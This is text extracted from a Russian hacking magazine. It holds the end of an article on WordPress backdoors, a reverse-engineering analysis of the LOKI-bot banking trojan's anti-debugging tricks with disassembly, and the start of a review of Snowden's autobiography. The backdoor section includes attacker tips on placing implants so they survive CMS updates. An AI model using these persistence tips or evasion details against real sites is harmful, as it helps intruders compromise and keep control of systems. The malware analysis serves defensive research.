ленных «зак ладок», веро ятно, вооб ще будет равен нулю.

При  том  же  количес тве  спам‐стра ниц  пла гины  безопас ности  Wordpress
показа ли такие резуль таты:

Wordfence Security — Firewall & Malware Scan — 474 спам‐стра ницы выяв‐ 
лено из ~4000 (при 39 967 про верен ных ссыл ках), то есть 11,8%;

•

Anti‐Malware Security and Brute‐Force Firewall — выяв лено 9 спам‐стра ниц,
то есть 0,2%;

•

Cerber  Security,  Antispam  &  Malware  Scan  —  все го  6  спам‐стра ниц,  то
есть 0,15%.

•

В общем, если вос при нимать такого рода пла гины как инс тру мен ты для обес‐ 
печения безопас ности, то про эту самую безопас ность мож но бла гопо луч но
забыть.

ВЫВОДЫ
Как  ты  мог  убе дить ся,  количес тво  активных  уста новок  пла гина  и  хва леб ные
отзы вы ничего не говорят о качес тве про дук та. Рав но как и наличие пла гина
в репози тории Wordpress не гаран тиру ет вооб ще ничего. Ежед невное попол‐ 
нение WPScan Vulnerability Database новыми дан ными об  уяз вимых пла гинах
и темах тоже не гаран тиру ет успешно го выяв ления всех потен циаль ных угроз.
Так о чем речь в ито ге?

Ес ли  подумать  над  получен ной  информа цией,  то  мож но  понять,  что
на  самом  деле  нам  не  пред лага ют  готовые  самос тоятель ные  решения,
а показы вают демовер сии сер висов, дос тупных по под писке. Ина че  говоря,
соз давать и бес плат но рас простра нять эффектив ный и мощ ный инс тру мент,
выяв ляющий все воз можную мал варь, финан сово невыгод но для любой ком‐ 
пании.  О  выгоде  кли ента,  разуме ется,  речи  вооб ще  не  идет:  пла ти,  и  твоя
проб лема  будет  решать ся  штат ными  спе циалис тами.  Все  бы  хорошо,  но  с
точ ки зре ния кли ента эта модель эко номи чес ки оправдан на, толь ко если его
сайт  будут  взла мывать  регуляр но,  тог да  смысл  плат ной  под писки  понятен.
С  дру гой  же  сто роны,  регуляр ные  взло мы  при  наличии  под писки  озна чают
низ кий уро вень ока зыва емых услуг, что так же вызыва ет воп росы. Зам кну тый
круг.

Как быть? Тебе решать,  зап латить про фес сиона лу  за работу  «под  ключ»,
сидеть  на  плат ной  под писке  и  кор мить  целую  коман ду  раз работ чиков
или  самос тоятель но  пытать ся  решить  проб лему  «за  пару  кли ков  мышью»
в  надеж де  на  бла гоп рият ный  исход.  Как  по  мне,  луч ше  и  выгод нее  все  же
заранее  нанять  спе циалис та  для  ауди та  безопас ности  или,  если  сайт  уже
ском про мети рован, для вос ста нов ления работос пособ ности ресур са.

Взгляд со сто роны ата кующе го
1. Не надо внед рять «зак ладки» куда попало: по воз можнос ти изу чи сис тему,
которую  ата куешь,  что бы  потом  было  мень ше  сюр при зов  и  неожи дан‐ 
ностей.

2. Го воря кон крет но про CMS Wordpress: забудь о модифи каци ях чего‐либо
в  дирек тори ях    и  ,  а  так же  пла гинов  и  тем
из репози тория, рав но как и фай лов из кор невой дирек тории CMS — все
твои  тру ды  «смо ются» при штат ном обновле нии или при фор сирован ной
пере уста нов ке движ ка.

/wpadmin/ /wpincludes/

3. Про являй фан тазию и изоб ретатель ность, но не забывай, что крат кость —
сес тра  талан та.  Ины ми  сло вами,  не  надо  пытать ся  внед рить  как  мож но
боль ше  фишек  в  свой  код,  в  пер спек тиве  усложняя  себе  этим  жизнь.
Прос тота,  эле ган тность  и  нешаб лонность  мыш ления  —  наибо лее  выиг‐ 
рышная стра тегия.

Взгляд со сто роны защища юще гося
1. От кажись от все воз можных полумер в работе.
2. Не сто ит упо вать на популяр ные «пла гины безопас ности» — это лишь под‐ 
спорье (час то сом нитель ное), а не решение на все слу чаи жиз ни.

3. «Варез» на сво их про ектах — выс трел себе же в ногу (или в обе).
4. Ес ли  ты работа ешь с прог раммис том и при нима ешь про ект,  то ста рай ся
не пор тить с ним отно шения и не муд рить с опла той — это умень шает твои
шан сы при нять сайт с неп рият ными бонуса ми в виде «зак ладок».

5. Тех поддер жка боль шинс тва  хос тинг‐ком паний отка жет  тебе в вос ста нов‐ 
лении  ресур са,  если  тот  был  ском про мети рован,  зато  с  боль шой  веро‐ 
ятностью пред ложит плат ную услу гу чис тки сай та тем же «Ай‐Болитом».

И заранее позаботь ся о бэкапах! Про пис ная исти на, которую час тень ко игно‐ 
риру ют.

https://revisium.com/ai/
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ВЗЛОМ

Ис сле довать  мал варь  не  толь ко  весело,  но  и  край не  поз‐ 
наватель но.  Недав но  в  мои  цеп кие  руки  попал  бан ков ский
тро ян  LOKI‐bot.  Подоб ные  вре доно сы  обыч но  пишут  нас‐ 
тоящие про фес сиона лы, и потому бан керы зачас тую содер‐ 
жат  дос таточ но  инте рес ные  хаки.  Так  слу чилось  и  в  этот
раз  —  трой  соп ротив ляет ся  отладке  и  пыта ется  «спа лить»
нас доволь но нет риви аль ными спо соба ми.

Для начала заг рузим семпл в DiE и пос мотрим, что он покажет.

LOKI в ана лиза торе DiE

Как вид но на скрин шоте, DiE отче го‐то уве рен, что наш семпл написан на Del‐
phi,  но  это,  разуме ется,  не  так.  Ты  навер няка  зна ешь,  что  сущес тву ют  спе‐ 
циаль ные  тул зы,  которые  уме ют  скле ивать  один  файл  с  дру гим.  Соз датели
LOKI‐bot имен но так и пос тупили (обра ти вни мание на раз мер сек ции ресур‐ 
сов    в  фай ле  отно ситель но  его  обще го  раз мера).  Ори гиналь ный  LOKI
запус тится пос ле того, как отра бота ет его «обер тка».

rsrc

INFO

Все  экспе римен ты  с  боевой  мал варью  я  нас‐ 
тоятель но рекомен дую про водить на изо лиро ван‐ 
ной от сети вир туаль ной машине, ина че есть риск
получить зараже ние бан кером LOKI‐bot и лишить‐ 
ся сво их дан ных!

Для того что бы разоб рать ся в механиз ме самоза щиты это го бота, мы дол жны
пред став лять  себе,  каким  обра зом  вооб ще  мал варь  может  соп ротив лять ся
отладке.  Обыч но  так  или  ина че  трой  ста рает ся  получить  спи сок  про цес сов
в сис теме, а пос ле это го уже начина ются даль нейшие дей ствия. Давай поп‐ 
робу ем дви гать ся  в  эту  сто рону,  что бы изу чить механизм самоза щиты бота.
Как извес тно, получить спи сок про цес сов в Windows мож но нес коль кими спо‐ 
соба ми.
1. Пе речис лить про цес сы при помощи фун кции  .PSAPI EnumProcesses

2. Соз дать  сни мок  про цес сов  при помощи фун кции 
.

CreateToolhelp32S

napshot

3. Пе речис лить про цес сы при помощи  .ZwQuerySystemInformation

4. При менить трю ки со счет чиками про изво дитель нос ти.
5. Ис поль зовать Windows Management Instrumentation (WMI).

Бе зус ловно,  самый  рас простра нен ный  метод  получе ния  про цес сов  —
при  помощи  фун кции  ,  поэто му  мы  нач нем
с  уста нов ки  брейк‐пой нта  на  эту  фун кцию  (исполь зует ся  отладчик  x64dbg,
вер сия для архи тек туры x86).

CreateToolhelp32Snapshot

INFO

Ис сле дова ние  мал вари  или  решение  кряк мисов
может рас тянуть ся надол го:  не  всег да  с  пер вого
раза  ты  ста вишь  брейк‐пой нты  на  нуж ные  фун‐ 
кции, не всег да все идет по пла ну. В любом слу‐ 
чае это верени ца проб и оши бок. Ког да ты чита‐ 
ешь статью,  у  тебя на  это  ухо дит мак симум 10–
15  минут,  но  это  не  зна чит,  что  любой  взлом
или  сня тие  упа ков ки  с  фай ла  будет  занимать
столь ко  же  вре мени.  Прос то  есть  «рабочие»
момен ты,  рутина,  которой  не  сто ит  утом лять
читате ля  и  которую  автор  про пус кает.  Поэто му
соз дает ся впе чат ление, буд то любой взлом быстр
и эле мен тарен, а автор с пер вого раза «уга дыва‐ 
ет»,  на  какие  фун кции WinAPI  уста новить  бря ки,
что бы победить защиту. Но в жиз ни это не всег да
так! :)

НАЧИНАЕМ ПОГРУЖЕНИЕ
Итак,  мы  ока зались  в  теле  фун кции  .  Давай
выпол ним ее и сде лаем еще один шаг,  что бы вер нуть ся по  . В ито ге мы
попада ем в такой код:

CreateToolhelp32Snapshot
ret

01DC40D8 | 53                       | push ebx
01DC40D9 | 6A 02                    | push 2
01DC40DB | FF56 0C                  | call dword ptr ds:[esi+C]
01DC40DE | 8BD8                     | mov ebx,eax   <‐‐‐‐‐ мы здесь
01DC40E0 | 83FB FF                  | cmp ebx,FFFFFFFF
01DC40E3 | 0F85 634C0000            | jne 1DC8D4C
01DC40E9 | 33C0                     | xor eax,eax
01DC40EB | E9 6AE5FFFF              | jmp 1DC265A

Мы  сто им  на  ,  но  ты  ведь  пом нишь,  что  мы  толь ко  что  вер нулись
из  ?  Ста ло  быть,  call,  который  выше  по  коду,
и  есть  вызов  .  Вспо мина ем  про тотип 

:

01DC40DE
CreateToolhelp32Snapshot

CreateToolhelp32Snapshot Create‐
Toolhelp32Snapshot

HANDLE CreateToolhelp32Snapshot(
   DWORD dwFlags,
   DWORD th32ProcessID
);

Как  видим,  переда ются  два  аргу мен та,  один  из  которых  —  ,  что
говорит о переда че парамет ра  . Он зас тавля ет 

  сде лать  сни мок  всех  про цес сов.  Все  ука зыва ет
на вызов  ,  но этот call  не похож на стан дар тный
вызов WinAPI в коде. Идем в   и смот рим, что там есть.

push  2
TH32CS_SNAPPROCESS Create‐

Toolhelp32Snapshot
CreateToolhelp32Snapshot

ds:[esi+C]

Вид «сырой» памяти в ds:[esi+C]

Ви дим какой‐то код, похожий на мусор, сре ди которо го прос лежива ются име‐ 
на фун кций WinAPI. Давай пред ста вим весь код в виде DWORD’ов.

Име на фун кций, получа емых динами чес ки

Пе ред нами спи сок фун кций,  которые LOKI получа ет динами чес ки. По это му
спис ку мы можем судить о том, как работа ет бан кер. В даль нейшем вызовы
исполь зуемых WinAPI будут  выпол нять ся подоб ными call’ами. Итак,  со спис‐ 
ком WinAPI разоб рались, теперь вер немся в код. Что бы ты понимал его струк‐ 
туру,  при веду  лис тинг  час ти  фун кции  поис ка  про цес сов  (обра ти  вни мание
на адре са!):

; CreateToolhelp32Snapshot
01DC40DB | FF56 0C        | call dword ptr ds:[esi+C]
01DC40DE | 8BD8           | mov ebx,eax
01DC40E0 | 83FB FF        | cmp ebx,FFFFFFFF
01DC40E3 | 0F85 634C0000  | jne 1DC8D4C
01DC40E9 | 33C0           | xor eax,eax
01DC40EB | E9 6AE5FFFF    | jmp 1DC265A

00228D4C | 8D85 D4FDFFFF  | lea eax,dword ptr ss:[ebp‐22C]
00228D52 | 50             | push eax
00228D53 | E9 53ABFFFF    | jmp 2238AB

002238AB | 53             | push ebx
002238AC | 89BD D4FDFFFF  | mov dword ptr ss:[ebp‐22C],edi
; Process32FirstW
002238B2 | FF56 10        | call dword ptr ds:[esi+10]
002238B5 | E9 97EDFFFF    | jmp 222651

Как видишь, код силь но фраг менти рован и свя зан перехо дами ( ). Это нас
не запуга ет: ста вим точ ку оста нова на конец фун кции получе ния спис ка про‐ 
цес сов и жмем на выпол нение. Далее нас ждет такой код (некото рые не осо‐ 
бо  инте рес ные  фун кции  я  буду  называть,  но  не  ста ну  в  них  заг лядывать —
по наз ванию будет все понят но):

jmp

; Имя процесса
007C5D83 | 8D8D F8FDFFFF  | lea ecx,dword ptr ss:[ebp‐208]
; Считаем число символов имен процессов
007C5D89 | E8 4AD8FFFF    | call <str_len>
; Сравниваем размер имени процесса с числом 40h (64)
007C5D8E | 83F8 40        | cmp eax,40
; Все хорошо, продолжаем корректное выполнение трояна
007C5D91 | 0F82 08000000  | jb 7C5D9F
; Все плохо, завершаемся
007C5D97 | 6A 00          | push 0
; ExitProcess
007C5D99 | FF96 AC000000  | call dword ptr ds:[esi+AC]
007C5D9F | E9 E1D1FFFF    | jmp 7C2F85

Здесь счи тает ся раз мер име ни  каж дого про цес са и  срав нива ется  с  чис лом
, или 64 в десяте рич ной сис теме. Если про цесс с таким длин ным име нем

най ден, то выпол няет ся выход. В чем тут был замысел?
40h

ЗАМЫСЕЛ СОЗДАТЕЛЯ
Все  дело  в  том,  что  обыч но  иссле дова тели  в  вирус ных  лабора тори ях  дают
име на  фай лам  сем плов  вре донос ных  прог рамм  в  виде  их  хешей  SHA‐256,
которые  как  раз  име ют  дли ну  64  сим вола.  Если  такой файл  запус тить,  LOKI
пой мет это по чис лу сим волов про цес са и выпол нит выход. Или не пой мет?
Думаю,  что  вни матель ный  читатель  уже  догадал ся:  дело  в  том,  что  получа‐ 
емое при помощи фун кции   имя про цес са так же
содер жит  его  рас ширение,  которое  добав ляет  еще  четыре  сим вола  к  име‐ 
ни  —  .  Оче вид но,  раз работ чик  забыл  об  этом,  поэто му  его  замысел
не  сра бота ет.  Хотя  идея  дос таточ но  ори гиналь на.  Вывес ти  из  строя  эту
защиту  бан кера  мож но,  прос ледив,  что бы  в  сис теме  не  было  про цес сов
с име нами из 64 сим волов, вклю чая рас ширение.

CreateToolhelp32Snapshot

.exe

На оче реди сле дующая про вер ка.

002567B4 | 85C0           | test eax,eax
002567B6 | 0F85 07000000  | jne 2567C3
002567BC | 53             | push ebx
; ExitProcess
002567BD | FF96 AC000000  | call dword ptr ds:[esi+AC]
002567C3 | 56             | push esi
002567C4 | E8 D4DBFFFF    | call <check_name>
002567C9 | 59             | pop ecx
002567CA | 85C0           | test eax,eax

Я  обоз начил  нуж ный  call  мет кой  ,  что бы  было  понят нее.  Если
прыг нуть в него, мож но уви деть такой код (я добавил ком мента рии, хоть код
и прос той):

<check_name>

; Положим в память символ по адресу ss:[ebp‐28]
004C37B0 | 66:8945 D8   | mov word ptr ss:[ebp‐28],ax
004C37B4 | 58           | pop eax
; Берем символ
004C37B5 | 6A 6D        | push 6D
004C37B7 | 8BD0         | mov edx,eax
; Положим в память по адресу ss:[ebp‐26]
004C37B9 | 66:8955 DA   | mov word ptr ss:[ebp‐26],dx
004C37BD | 5A           | pop edx
; Берем символ
004C37BE | 6A 70        | push 70
; Положим в память по адресу ss:[ebp‐24]
004C37C0 | 66:8955 DC   | mov word ptr ss:[ebp‐24],dx
004C37C4 | 5A           | pop edx
004C37C5 | E9 6B2D0000  | jmp 4C6535

Оче вид но,  в  память  помеща ются  зна чения,  явля ющиеся  кодами  сим волов.
Давай  прой дем  этот  код  (это  толь ко  фраг мент,  код  свя зан  jmp’ами)  и  пос‐ 
мотрим на окно дам па, нап ример в окрес тнос тях  .[ebp‐26]

Ге нера ция строк в памяти

В памяти сге нери рова ны сло ва  ,  ,  ,  ,  . Такой
под ход  к  генера ции  нуж ных  строк  в  памяти  исполь зует ся  для  того,  что бы
стро ковые кон стан ты не бро сались в гла за в исполня емом фай ле LOKI.

self sample sandbox virus malware

Стро ки сге нери рова ны, это вид но в дам пе

Да лее идет вызов WinAPI  :GetModuleFileName

004C7B13 | 6A 00        | push 0
; GetModuleFileName
004C7B15 | FF50 4C      | call dword ptr ds:[eax+4C]
004C7B18 | 85C0         | test eax,eax 
004C7B1A | E9 73F4FFFF  | jmp 4C6F92

Так LOKI про веря ет, не содер жит ли имя его исполня емо го фай ла этих слов,
и если содер жит, то он сра зу завер шает работу. Кро ме того, подоб ным обра‐ 
зом генери руют ся наз вания про цес сов популяр ных иссле дова тель ских прог‐ 
рамм, нап ример ollydbg.exe, procmon.exe, procmon64.exe, windbg.exe, procex‐
p64.exe,  и  наз вания  про цес сов  анти виру са  Avast  —  avgsvc.exe,  iavgui.exe,
avastsvc.exe и так далее.

Пос ле  это го  сге нери рован ные  наз вания  све ряют ся  с  получен ным  ранее
при  помощи  фун кции    спис ком  про цес сов.  Что
инте рес но,  про веря ются  про цес сы  толь ко  анти виру са  Avast,  дру гие  LOKI
почему‐то  не  прос матри вает.  Что бы  успешно  прой ти  и  эту  про вер ку,  пере‐ 
име нуй все при ложе ния из спис ка или прос то не запус кай их, ина че это спуг‐ 
нет  LOKI  и  он  завер шится.  А  мы  под ходим  к  сле дующе му  анти отла доч ному
трю ку.

CreateToolhelp32Snapshot

Пос ле про вер ки имен про цес сов мы видим такой код:

; ZwQueryInformationProcess
01D16CB7 | FF96 8C000000  | call dword ptr ds:[esi+8C]
01D16CBD | 397D FC        | cmp dword ptr ss:[ebp‐4],edi
01D16CC0 | E9 A8130000    | jmp 1D1806D

Оче вид но, вызов   здесь исполь зует ся не прос‐ 
то  так.  Вспо мина ем,  что  есть  анти отла доч ный  трюк,  осно ван ный  на  вызове

.  Смот рим,  какие  аргу мен ты  переда‐ 
ются в эту фун кцию, попут но вспо миная ее про тотип:

ZwQueryInformationProcess

WinAPI  ZwQueryInformationProcess

NTSTATUS WINAPI ZwQueryInformationProcess(
   _In_      HANDLE           ProcessHandle,
   _In_      PROCESSINFOCLASS ProcessInformationClass,
   _Out_     PVOID            ProcessInformation,
   _In_      ULONG            ProcessInformationLength,
   _Out_opt_ PULONG           ReturnLength
);

Боль ше все го нас будут инте ресо вать поля   и 
.  Пер вое  поле  ука зыва ет  на  про цесс,  о  котором  мы  получа ем

информа цию,  вто рое — инте ресу ющий  нас флаг. Отладчик  показы вает,  что
пер вое поле име ет зна чение  , а вто рое —  . Что бы в этом убе‐ 
дить ся,  пос мотри,  какие  парамет ры  переда ются  в  фун кцию  через  стек,
на скрин шоте.

ProcessHandle ProcessInfor‐
mationClass

FFFFFFFF 0x1f

Пе редан ное зна чение   в поле   говорит о том, что
мы  работа ем  со  сво им  собс твен ным  про цес сом  ( ).
Зна чение поля   ука зыва ет на исполь зование

,  который  сиг нализи рует  о  том,  что  про цесс  находит ся
под  отладкой.  Так же  будет  про верен  флаг 
( ), который тоже ука зыва ет на отладку.

FFFFFFFF ProcessHandle
GetCurrentProcess();

ProcessInformationClass 0x1f
ProcessDebugFlags

0x1E
ProcessDebugObjectHandle

Ар гумен ты ZwQueryInformationProcess в сте ке и ее вызов

Кста ти, в «Хакере» была отдель ная  , которая опи сыва ла этот (и дру гие)
методы опре деле ния отладки.

статья

Ну  а  далее,  разуме ется,  мы  обна ружи ваем  условный  переход  в  зависи‐ 
мос ти от сос тояния ука зан ных выше фла гов. Как его пре одо левать, ты и сам
зна ешь:  либо  перес кочить,  уста новив  регистр    на  нуж ный  адрес,  либо
забить nop’ами, либо поменять зна чение фла га перехо да в отладчи ке. Лич но
я  прос то  поменял  зна чение  регис тра    на  сле дующую  пос ле  условно го
перехо да коман ду.

eip

eip

Это  был  пос ледний  рубеж  анти отла доч ной  защиты  LOKI,  пос ле  это го
начина ет  работать  его  пол ностью  рас пакован ное  тело,  о  чем  говорят  дос‐ 
таточ но инте рес ные стро ки в сня том дам пе.

Стро ки в дам пе LOKI

Оче вид но, LOKI соб рался сти лить мои пароли из бра узе ра Firefox.

ИТОГ
В этой статье мы рас смот рели, какие улов ки вир мей керы при меня ют про тив
средств  ана лиза  бинар ных фай лов,  на  при мере  бан кера  LOKI‐bot.  Какие‐то
спо собы  были  уже  мно го  раз  опи саны,  какие‐то  дос таточ но  нет риви аль ны
по сво ему под ходу. Но, как видишь, при помощи отладчи ка и дизас сем бле ра
они пре одо лева ются быс тро и эффектив но.

mailto:xtahi0nix@gmail.com
https://xakep.ru/2018/01/17/antidebug/
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ПРИВАТНОСТЬ

Зна мени тый разоб лачитель аме рикан ской сис темы гло баль‐ 
ной  слеж ки  Эдвард  Сно уден  написал  авто биог рафию.  Его
кни га уже успе ла стать бес тсел лером, а пра витель ство США
подало  на  него  новый  иск  и  попыта лось  лишить  гонора ра.
Мы изу чили эту сен саци онную кни гу и рас ска жем, что инте‐ 
рес ного  в  ней мож но  най ти.  Акцент,  конеч но,  будет  на  тех‐ 
ничес ких  под робнос тях  и  тай нах  аме рикан ской  раз ведки,
но  и  о  жиз ни  скры вающе гося  от  все го  мира  авто ра  тоже
погово рим.

ДЕТСТВО
Эд вард Сно уден родил ся 21 июня 1983 года. Но начина ет рас сказ о себе он
не  со  сво его  пер вого  вздо ха,  а  со  сво его  пер вого  взло ма  —  который  он
изящ но называ ет так же сво им пер вым актом деятель ного про тес та.

Ему было шесть лет, и он уже дав но про тес товал про тив режима — а точ‐ 
нее,  про тив  режима  дня.  Ему  казалось,  что  родите ли  укла дыва ют  его  спать
слиш ком рано. Граж дан ский диалог не дей ство вал — влас ти были глу хи к его
при зывам. И  тог да  в день сво его рож дения он  тай ком перес тавил все  часы
в доме на нес коль ко часов назад. Его вме шатель ство оста лось не замечен‐ 
ным влас тями, и в тот день ему впер вые уда лось уви деть закат в день лет него
сол нцес тояния.  Устав  ликовать,  он  уснул  на  полу —  а  ког да  прос нулся,  его
отец уже уста новил точ ное вре мя на часах.

Этот  эпи зод  из  лич ной  жиз ни  Сно уде на  не  толь ко  начина ет  повес тво‐ 
вание, но и слу жит в кни ге поводом порас суждать об устрой стве интерне та,
о том, как изме нил ся мир с его появ лени ем (ник то боль ше не под водит часы
вруч ную,  все  поль зуют ся    на  сво их  устрой ствах),  —  и  бла‐ 
года ря глад кости этих перехо дов мыс ли ста новит ся понят но, что у Сно уде на
был соав тор, который очень силь но ему помогал.

про токо лом NTP

Про фес сиональ ный писатель Джо шуа Коэн, которо го кри тики срав нива ют
с Филипом Ротом и Томасом Пин чоном, явно при ложил мно го уси лий, что бы
прев ратить  исто рию  жиз ни  Сно уде на  в  литера тур ное  повес тво вание,  дос‐ 
тупное самому широко му кру гу читате лей. У это го под хода есть свои плю сы
и минусы. Плю сы — кни га выш ла живой и  увле катель ной. Минусы — иног да
может  показать ся,  что  некото рые  детали  спе циаль но  всплы вают  для  того,
что бы под чер кнуть  какую‐то  тему — или дать повод про читать нес ведуще му
читате лю  малень кую  лек цию  о  том,  как  тех нология  вли яет  на  его  незамыс‐ 
ловатую жизнь.

Кто такой Джо шуа Коэн
Со автор кни ги Джо шуа Коэн родил ся в семье аме рикан ских евре ев. Он пуб‐ 
ликовал ся  во  мно гих  прес тижных  жур налах.  Сре ди  его  книг  —  пос тмо дер‐ 
нист ская  фан тасма гория  на  тему  еврей ской  исто рии  и  иден тичнос ти  Witz
(один из смыс лов наз вания — отсылка к кон цла герю Ауш виц), а так же «Кни га
чисел» — метаро ман 2015 года о писате ле Джо шуа Коэне, который получил
заказ написать за тех нологи чес кого мил лиар дера его авто биог рафию. Мил‐ 
лиар дера, разуме ется, тоже зовут Джо шуа Коэн.

Имен но  работая  над  «Кни гой  чисел»,  писатель  заин тересо вал ся  воп‐ 
росами  про ник новения  тех нологий  в  общес тво  и  ролью  спец служб  в  этом.
В том же 2015 году он написал роман PCKWCK — вари ацию на тему романа
Дик кенса  «Пос мер тные  запис ки  Пик вик ско го  клу ба»,  толь ко  вмес то  англий‐ 
ских джентль менов путешес тву ют по миру и тво рят дичь в нем наем ные суб‐ 
подряд чики‐кон трак торы  аме рикан ско го  пра витель ства  из  ком пании
PCKWCK.

Кста ти, PCKWCK писал ся в режиме реаль ного вре мени — через тран сля‐ 
цию в Periscope — и был опуб ликован вмес те с ком мента риями смот ревших.
В общем, выбор соав тора для кни ги Сно уде на мог быть и хуже. Даже с уче том
того,  что  литера тур ный  стиль  Коэна  несет  на  себе  неиз гла димый  отпе чаток
работы на жур налы катего рии «интеллек туаль ный гля нец».

Что бы сто ять, я дол жен дер жать ся кор ней
Детс тво Эдварда Сно уде на прош ло в двух малень ких город ках на вос точном
побережье  Аме рики  —  Эли забет‐Сити  в  шта те  Север ная  Кароли на
и Форт‐Мид, штат Мэриленд. Одна ко эти мес та не прос то оче ред ная никому
не  извес тная  глу бин ка,  вро де  города  Хоп кинс  из  сери ала  «Очень  стран ные
дела». Про Форт‐Мид мы еще рас ска жем, а в Эли забет‐Сити находит ся круп‐ 
ней шая  в  стра не  база  берего вой  охра ны  США.  В  которой  дед  Сно уде на
по  материн ской  линии  дос лужил ся  до  зва ния  контр‐адми рала,  а  отец  был
офи цером. Кста ти, оба — по инже нер ной час ти. Его мать работа ла клер ком
в раз ных пра витель ствен ных кон торах.

Од но из мест работы матери Сно уде на — и сам он здесь тоже побыва ет

В общем, у семьи Сно уде на слав ное прош лое и дол гая исто рия вер ной служ‐ 
бы родине. Здесь в нор ме хорошее обра зова ние и при лич ная зар пла та. Все
эти под робнос ти о семье приз ваны дать читате лю понять: Сно уден с самого
детс тва рос с желани ем слу жить сво ей стра не на совесть. Он любит Аме рику
и гор дится сво ей исто рией — в час тнос ти, исто рией борь бы за сво боду. Эта
тема всплы вает в кни ге мно го раз — веро ятно, для аме рикан ско го читате ля
это  и  прав да  необ ходимо,  ведь мно гие  там  счи тают Сно уде на  пре дате лем.
Вот ему и при ходит ся отве чать — нет, мол, не пре датель, а пат риот. Да еще
и нас ледс твен ный.

Иг ры учат жиз ни
Отец Сно уде на, воен ный инже нер, час то при носил с работы вся кие инте рес‐ 
ные  вещи.  То  хро нометр,  то  науч ный  каль кулятор  —  и  все  они  вызыва ли
у  малень кого  Эдварда  изрядный  инте рес.  Но  однажды  отец  при нес  домой
целый компь ютер Commodore 64. При нес вечером, ког да Эдварду уже было
положе но  спать.  Что,  разуме ется,  не  помеша ло  ему  совер шить  раз ведыва‐ 
тель ную  опе рацию  и  уви деть,  как  отец  под клю чает  таинс твен ный  аппа рат
к телеви зору и что‐то на нем дела ет — а кар тинка на экра не телеви зора отве‐ 
чает на его дей ствия!

Тут‐то Эдвард и понял, чем по‐нас тояще му хочет занимать ся в жиз ни.
А  потом  он  догадал ся,  что  его  отец  игра ет  на  этом  аппа рате  в  игры —

в  Tetris,  Arcanoid  и  симуля тор  вер толета  Choplifter!  Пос леднее  выз вало
у  Эдварда  безудер жный  вос торг,  и  отец  наконец‐то  обна ружил,  что  за  ним
наб люда ют, — и, разуме ется, посадил сына рядом с собой и дал ему в руки
вто рой джой стик. Непод клю чен ный, прав да, — но Эдварду хва тило и это го.

На  сле дующее  Рож дес тво  Эдварду  подари ли  NES,  и  ребенок  выпал
из  мира.  Прис тавка  дала  ему  мно го  цен ных  жиз ненных  уро ков:  The  Legend
of  Zelda  научи ла  его,  что  мир  сущес тву ет,  что бы  его  иссле дова ли,  Mega
Man — что у вра гов есть чему поучить ся, а Duck Hunt — что иног да над тобой
сме ются, но это не зна чит, что в сме ющих ся сле дует стре лять. А самый цен‐ 
ный урок ему пре пода ли братья Марио — и суть уро ка была в  том, что идти
по жиз ни мож но толь ко впе ред, а вер нуть ся в прош лое невоз можно.

А что бы юный Эдвард окон чатель но усво ил, что все в жиз ни течет и порой
уте кает, через какое‐то вре мя прис тавка сло малась.

Бе ря  при мер  со  сво его  отца,  Эдвард  решил  ее  починить.  Его  хва тило
на то, что бы разоб рать ее и соб рать — но делу это не помог ло. На помощь
был  приз ван  отец,  который  объ яснил  ему,  что  в  прис тавке  к  чему,  пред‐ 
положил, что в ней что‐то рас паялось, и отвел Эдварда к себе на работу, что‐ 
бы  вос поль зовать ся  тамош ним  обо рудо вани ем  для  почин ки  прис тавки.  Ну
и что бы впе чат лить сына — видимо, отец счел его инте рес к элек тро нике дос‐ 
таточ но серь езным.

Там Эдвард впер вые усел ся за кла виату ру и под отцов ским руководс твом
написал пер вую в жиз ни прог рамму — и даже не Hello World!

10 INPUT "WHAT IS YOUR NAME?"; NAME$
20 PRINT "HELLO, " + NAME$ + "!"

И  ког да  прог рамма  запус тилась,  спро сила  «КАК  ТЕБЯ  ЗОВУТ?»  и  выдала
«ПРИ ВЕТ,  ЭДДИ!»,  Эдвард  Сно уден  почувс тво вал  себя  прос ветлен ным.  Он
понял, что, если пра виль но дать компь юте ру инс трук цию, тот ее выпол нит —
даже  если  прог раммис ту  семь  лет.  Машин ная  спра вед ливость  покори ла
Эдварда.  Пред ска зуемость,  раци ональ ность  и  кон троль  —  толь ко  за  кла‐ 
виату рой компь юте ра мож но их най ти, понял он.

Что ж, этот урок силь но помог Эдварду: к девяти годам его жизнь силь но
изме нилась.

Сво бода мыс ли и сво бода дей ствий
Ро дите ли  Сно уде на  пере еха ли.  Теперь  они  работа ли  в  Форт‐Мид,  а  жили
в Кроф тоне. И то и дру гое мес то — не сов сем города. Пер вый — скоп ление
штаб‐квар тир  пра витель ствен ных  агентств,  вто рой — акку рат ные  «спаль ные
город ки»  с  белыми  забор чиками  непода леку.  И  поч ти  все,  кто  живут  там,
работа ют на пра витель ство за весь ма при лич ные зар пла ты.

В новой шко ле у Эдварда дела шли не сов сем глад ко — но пос ле пере‐ 
езда его родите ли купили нас толь ный компь ютер Compaq Presario 425. В нем
были  про цес сор  Intel  486  25  МГц,  200‐мегабай тный  жес ткий  диск,  виде‐ 
оадап тер  с  256  цве тами  и  модем,  по  которо му  уже  мож но  было  выходить
в интернет. Так же на нем была леген дарная игра Loom — в ее сюжете тай ное
общес тво Тка чей соору жает магичес кую прял ку, которая пле тет тон кие узо ры
в тка ни реаль нос ти, а юный герой, открыв ший тай ну прял ки, вынуж ден скры‐ 
вать ся  в  изгна нии  (я  пре дуп реждал,  что  некото рые  литера тур ные  при емы
в этой кни ге доволь но пря моли ней ны).

Сно уден  не жале ет  доб рых  слов  и  ярких  кра сок  для  опи сания  интерне та
начала  девянос тых.  Там,  по  его  сло вам,  было  море  информа ции,  сво бода
и  здо ровая  смесь  искрен него  желания  помочь  друг  дру гу  с  духом  сорев‐ 
нования, выпен дре жем и про вока цией. И вся кому, мол, там были рады, даже
ребен ку,  а  если  где  и  не  были,  то  дос таточ но  сме нить  псев доним  и  слег ка
изме нить  мне ния  и  манеру  пись ма,  что бы  поп робовать  еще  раз.  Чем  Сно‐ 
уден,  по  его  сло вам,  неод нократ но  и  поль зовал ся —  его  основны ми  инте‐ 
реса ми в под рос тко вом воз расте были спо ры в интерне те, игра Ultima Online,
а так же чте ние все го, что попада лось под руку, осо бен но око локомпь ютер ной
темати ки.

К под рос тко вому воз расту этот инте рес при цель но обра тил ся к воп росам
сис темной  безопас ности  и  ее  пре одо ления.  Как  остро умно  замеча ет  Сно‐ 
уден, под рос тки поч ти все хакеры по натуре — сама жизнь их зас тавля ет. Они
сами  чувс тву ют  себя  взрос лыми,  но  взрос лые  счи тают  их  деть ми.
И волей‐неволей при ходит ся учить ся взла мывать сис тему над зора и пра вил.
Ведь вез де, где есть пра вила, писаные или неписа ные, если их вни матель но
